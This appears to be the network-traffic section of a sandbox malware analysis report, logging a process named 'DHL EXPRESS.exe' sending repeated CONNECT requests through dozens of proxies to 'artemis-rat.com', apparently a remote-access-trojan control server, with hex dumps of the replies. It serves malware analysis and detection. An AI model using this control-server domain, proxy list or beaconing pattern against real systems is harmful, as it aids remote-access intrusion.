Mar 11, 2024 18:37:00.721813917 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1546	192.168.2.8	53843	208.102.51.6	58208	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.963314056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1547	192.168.2.8	50699	188.132.222.7	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.963363886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.065645933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.066315889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.067581892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.065867901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.081367016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.190723896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:05.223779917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:53.301527977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1548	192.168.2.8	54404	139.224.64.191	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.973843098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.304934978 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Mar 11, 2024 18:36:53.305538893 CET	716	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1549	192.168.2.8	53140	67.201.33.10	25283	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.978022099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.565707922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1550	192.168.2.8	54429	74.119.144.60	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.978029013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1551	192.168.2.8	50729	172.93.111.87	15805	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.000227928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.065882921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.066096067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1552	192.168.2.8	50798	37.120.192.154	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.018295050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1553	192.168.2.8	54372	203.112.134.74	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.019036055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1554	192.168.2.8	54426	27.96.235.171	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.019684076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1555	192.168.2.8	50818	188.40.44.95	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.020745993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.097194910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.097337008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.122809887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.206300974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1556	192.168.2.8	50671	201.243.82.157	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.024091959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.780638933 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1557	192.168.2.8	54183	72.210.208.101	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.027848959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1558	192.168.2.8	50735	212.110.188.198	34405	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.031649113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.097291946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.097341061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.122876883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.206294060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1559	192.168.2.8	54423	94.131.14.66	1081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.035986900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1560	192.168.2.8	54010	45.125.222.97	47239	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.039447069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1561	192.168.2.8	54430	216.9.224.113	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.085573912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1562	192.168.2.8	54447	184.185.2.12	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.102349043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1563	192.168.2.8	54457	192.154.246.96	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.102850914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1564	192.168.2.8	54437	103.23.100.1	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.118175983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1565	192.168.2.8	53431	104.238.111.107	7999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.129080057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261379957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.362808943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.456844091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.461143970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1566	192.168.2.8	50957	212.110.188.195	34411	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.264930010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.394035101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
